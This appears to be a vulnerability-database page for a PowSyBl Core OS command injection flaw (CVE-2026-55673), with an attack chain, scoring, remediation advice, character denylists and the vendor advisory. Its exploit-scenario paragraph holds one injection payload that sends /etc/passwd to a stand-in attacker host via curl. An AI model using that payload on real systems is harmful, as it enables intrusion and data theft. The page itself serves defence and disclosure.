Skip to main content

PowSyBl Core CVE-2026-55673

| EUVDEUVD-2026-67863 HIGH
OS Command Injection (CWE-78)
2026-08-28 https://github.com/powsybl/powsybl-core GHSA-jqvf-j3ww-r8c7
7.1
CVSS 4.0 · Vendor: https://github.com/powsybl/powsybl-core
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify network-exposed PowSyBl REST API or itools CLI endpoint
  2. Delivery
    Authenticate with low-privilege credentials
  3. Exploit
    Submit crafted parameter containing shell metacharacters (e.g., semicolon, $(...), backtick)
  4. Execution
    Parameter reaches LocalCommandExecutor and is concatenated into bash -c or cmd /c string unsanitized
  5. Impact
    Injected command executes as JVM process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: first, a downstream application or service must embed com.powsybl:powsybl-computation-local version 7.2.1 or earlier; second, that application must pass externally-supplied data - such as contingency IDs, computation parameters, model file paths, or environment variable values - to one of the vulnerable public methods (UnixLocalCommandExecutor.execute(), WindowsLocalCommandExecutor.execute(), LocalComputationManager.execute(), ParallelLoadFlowActionSimulator.run(), ActionSimulatorTool.run(), AmplModelRunner.run(), or AmplModelRunner.runAsync()) without prior sanitization; and third, the attacker must have at least low-privilege access to invoke those APIs, consistent with the CVSS PR:L rating. The itools CLI introduces an additional path: the action-simulator command is vulnerable when the task-count option value is externally supplied, security-analysis is vulnerable when the external option is set, and dynamic-security-analysis is vulnerable in its current form. Direct use of the library with fully controlled, internally generated inputs is not exploitable. Exploitation is limited by the niche deployment footprint of PowSyBl in the European energy sector and the requirement for a vulnerable downstream integration layer.

Impact

The vendor-supplied CVSS 4.0 score of 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N) reflects network reachability with low-privilege access and no special attack requirements, which is consistent with exploitation via a network-exposed embedding service. However, the provided impact metrics (VC:N/VI:L/VA:H) appear to understate the consequence of arbitrary shell command execution, which in practice yields full confidentiality, integrity, and availability impact on the host process and any files the JVM user can reach. EPSS data was not provided, so statistical exploitation probability cannot be assessed. The vulnerability is not listed in the CISA KEV catalog, and no public exploit code has been identified - the advisory's detailed bypass documentation, however, would substantially lower development effort for a functional exploit. Real-world priority is highly deployment-dependent: internal deployments with fully controlled inputs are not at risk, while multi-tenant or externally-exposed REST wrappers around powsybl-core represent a high-severity exposure. CVSS indicates network vector, consistent with the described downstream service attack surface, though direct local invocation via itools CLI is also a valid attack path for systems with local user access.

Exploit ScenarioDerived

An attacker with low-privilege access to a REST API wrapping a PowSyBl-based grid analysis platform submits a crafted contingency ID such as 'N-1_LINE_01; curl attacker.example/exfil?d=$(cat /etc/passwd)' as a computation parameter. The service passes this string unsanitized into ActionSimulatorTool.run() or LocalComputationManager.execute(), which concatenates it into a 'bash -c' invocation. The injected subshell command executes as the JVM process user, enabling data exfiltration, filesystem manipulation, or establishment of a reverse shell. No public exploit code has been identified, but the advisory's documentation of bypass techniques for the previously weak escaping provides sufficient detail to construct a working payload.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 28, 2026

OS command injection in PowSyBl Core's AbstractLocalCommandExecutor implementations allows authenticated callers who forward untrusted data to the vulnerable public APIs to execute arbitrary shell commands as the JVM process user on both Unix and Windows hosts. Affected versions are com.powsybl:powsybl-computation-local up to and including 7.2.1; the flaw is a library-level sink, meaning any REST front-end, pypowsybl integration, or multi-tenant grid analysis platform embedding powsybl-core that passes external parameters to LocalComputationManager.execute(), ActionSimulatorTool.run(), or AmplModelRunner.run() inherits the vulnerability without modifying powsybl code. No active exploitation has been confirmed (not in CISA KEV) and no public exploit code has been identified, but the advisory documents multiple injection vectors with bypass paths for the previously weak escaping.

Earlier versions of this analysis (1)
v1 Aug 28, 2026 - 19:21

OS command injection in PowSyBl Core's LocalCommandExecutor implementations allows arbitrary shell command execution as the JVM user on both Unix and Windows platforms. Versions of com.powsybl:powsybl-computation-local up to and including 7.2.1 construct shell command strings via unsanitized concatenation before passing them to bash -c or cmd /c, meaning any caller that forwards less-trusted data into the public List<String> APIs inherits arbitrary code execution capability. No public exploit or CISA KEV listing is identified at time of analysis, but the vulnerability affects multiple high-value entry points including itools CLI commands and REST/multi-tenant embedding services.

RemediationAI

Upgrade to com.powsybl:powsybl-computation-local:7.2.2 or higher, which is the vendor-confirmed fixed release available at https://github.com/powsybl/powsybl-core/releases/tag/v7.2.2. The patch replaces unsafe shell-string concatenation with properly structured escaping in both Unix and Windows executors. If an immediate upgrade is not feasible, apply input validation on all arguments before passing them to the vulnerable methods: on Unix/Linux, reject or strip the characters backslash, exclamation mark, hash, dollar sign, caret, ampersand, asterisk, parentheses, curly braces, pipe, square brackets, semicolon, double quote, comma, angle brackets, question mark, and space; on Windows, reject percent, exclamation mark, double quote, carriage return, and newline. This denylist workaround carries the trade-off that legitimate contingency IDs, file paths, or model parameters containing any of these characters will be rejected or silently corrupted, potentially breaking simulation workflows. For multi-tenant or externally-exposed services, consider restricting access to the itools action-simulator (when task-count is user-supplied), security-analysis (when the external option is set), and dynamic-security-analysis commands at the application authorization layer until patching is complete.

Affected VersionsENISA

powsybl-core < 7.2.2

Affected Packages

maven com.powsybl:powsybl-computation-local fix: 7.2.2
euvd powsybl_core fix: 7.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PowSyBl Core (com.powsybl:powsybl-computation-local, CPE pkg:maven/com.powsybl:powsybl-computation-local) is a Java power-system simulation framework used primarily in European energy grid analysis. The affected module wraps OS subprocess execution by building shell command strings through string concatenation and invoking them via 'bash -c' on Unix or 'cmd /c' on Windows. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the primary root cause: the API surface exposes public methods accepting List<String> arguments that callers reasonably interpret as discrete process arguments, but the implementation serializes them into a shell string. Prior escaping used double-quote wrapping, which was bypassable via $(...) subshell substitution, backtick expansion, and escaped-quote sequences on Unix, and via %VAR% and !VAR! expansion on Windows. A secondary CWE-88 (Argument Injection) concern exists because environment variable values passed to the executor are also included in the shell string without escaping. The patch in PR #3973 switches Unix escaping to single-quote wrapping with a singleQuoteEscape() helper that handles embedded single quotes via the ''\'' pattern, and introduces escapeCmdEnvValue() and escapeCmdArg() methods on Windows with explicit handling for percent, bang, double-quote, caret, and newline characters.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/powsybl/powsybl-core) PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.9 CRITICAL

AV:N because the library is characteristically wrapped in a network service; PR:L because API callers require authenticated access; S:C and C/I/A:H because arbitrary shell execution as the JVM user crosses the application boundary to the underlying OS.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

Primary rating from Vendor (https://github.com/powsybl/powsybl-core).

CVSS VectorVendor: https://github.com/powsybl/powsybl-core

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Aug 28, 2026 - 20:22 NVD
7.1 (HIGH)
CVE Published
Aug 28, 2026 - 18:37 cve.org
HIGH

DescriptionCVE.org

Impact

Description

Both AbstractLocalCommandExecutor OS-dependent implementations are subject to CWE-78 (OS Command Injection), with a secondary CWE-88 (Argument Injection) concern via environment variables.

The local command executor build command strings via concatenation and executes them (through bash -c for Unix, or cmd /c for Windows). Any string argument or environment variable value reaching this executor can break out of the intended command and execute arbitrary shell code as the JVM user.

The sink is reachable through public APIs that accept List<String> arguments without any documented indication that elements undergo shell interpretation.

Any caller - CLI, library integration, or embedding service - that forwards data from a less-trusted source into these APIs inherits the vulnerability.

Vulnerable elements

The vulnerable elements are:

  • Public methods:
  • UnixLocalCommandExecutor.execute(...)
  • WindowsLocalCommandExecutor.execute(...)
  • LocalComputationManager.execute(...)
  • ParallelLoadFlowActionSimulator.run(...)
  • ActionSimulatorTool.run(...)
  • AmplModelRunner.run(...)
  • AmplModelRunner.runAsync(...)
  • itools commands:
  • action-simulator, when the task-count option is defined
  • security-analysis, when the external option is defined
  • dynamic-security-analysis
Characteristics

The vulnerability characteristics are the following:

  • It allows arbitrary shell command execution as the JVM user (read, write, execute any file; spawn processes; exfiltrate data; etc.)
  • There are multiple independent injection vectors within a single vulnerable call:
  • args elements (weakly escaped - bypassable via $(...), backticks, escaped quotes)
  • Environment variable values (unescaped - bypassable via ;, \n, or shell metacharacters)
  • It is silent from the caller's perspective: the List<String> API gives no indication that shell interpretation occurs.
  • It exposes downstream projects: any service embedding powsybl-core (REST front-ends, pypowsybl tooling, multi-tenant grid analysis platforms) that exposes contingency IDs or computation parameters to external input is exploitable without needing to touch powsybl's code directly.
Am I impacted?

You are vulnerable if you make direct calls to one of the vulnerable end-user methods or itools commands listed in the "Vulnerable elements" section, with user-provided parameters, without controlling them.

Patches

com.powsybl:powsybl-computation-local:7.2.2 and higher

Workarounds

If you cannot update your powsybl-computation-local version, you can check the content of the user-provided arguments when calling the vulnerable methods, by forbidding (if possible) the following characters:

  • On Unix/Linux systems:
  • \, !, #, $, ^, &, *, (, ), {, }, |, [, ], \, ;, \, ", ,, <, >, ?,
  • On Windows:
  • %, !, ", \n, \r, ^

Technical POC Analysis

CWE-78 (OS Command Injection) with a secondary CWE-88 (Argument Injection) vector via environment variables.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

PowSyBl Core versions up to 7.2.1 contain an OS command injection vulnerability (CVE-2026-55673) affecting grid modeling and analysis applications that expose untrusted parameters to the library's compute APIs. Authenticated users can execute arbitrary shell commands as the JVM process, potentially compromising any REST interface or multi-tenant platform that embeds this library without modification.

Business Impact: High
Compensating Controls

Patch available per vendor advisory. During patching rollout, restrict network access to compute APIs to trusted internal networks only, enforce strict input validation on parameters passed to LocalComputationManager.execute(), ActionSimulatorTool.run(), and AmplModelRunner.run(), and enable audit logging of process execution for anomaly detection.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Prevalence
Low
niche power-system simulation framework, primarily European energy sector
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy